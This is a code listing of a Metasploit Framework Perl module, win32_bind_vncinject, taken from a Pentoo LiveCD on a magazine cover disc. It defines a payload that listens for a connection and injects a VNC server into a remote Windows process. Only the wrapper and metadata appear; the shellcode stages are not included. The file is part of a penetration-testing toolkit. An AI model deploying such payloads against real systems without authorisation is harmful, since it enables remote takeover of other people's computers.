home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_bind_vncinject.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.1 KB  |  45 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::win32_bind_vncinject;
  11.  
  12. use strict;
  13. use base 'Msf::PayloadComponent::Windows::ia32::InjectVncStage';
  14. use FindBin qw{$RealBin};
  15.  
  16. my $info =
  17. {
  18.     'Name'         => 'Windows Bind VNC Server DLL Inject',
  19.     'Version'      => '$Revision: 1.18 $',
  20.     'Description'  => 'Listen for connection and inject a VNC server into the remote process',
  21. };
  22.  
  23. sub _Load 
  24. {
  25.     Msf::PayloadComponent::Windows::ia32::InjectVncStage->_Import('Msf::PayloadComponent::Windows::ia32::BindStager');
  26.  
  27.     __PACKAGE__->SUPER::_Load();
  28. }
  29.  
  30. sub new 
  31. {
  32.     my $class = shift;
  33.     my $hash = @_ ? shift : { };
  34.     my $self;
  35.  
  36.     _Load();
  37.  
  38.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  39.     $self = $class->SUPER::new($hash, @_);
  40.  
  41.     return($self);
  42. }
  43.  
  44. 1;
  45.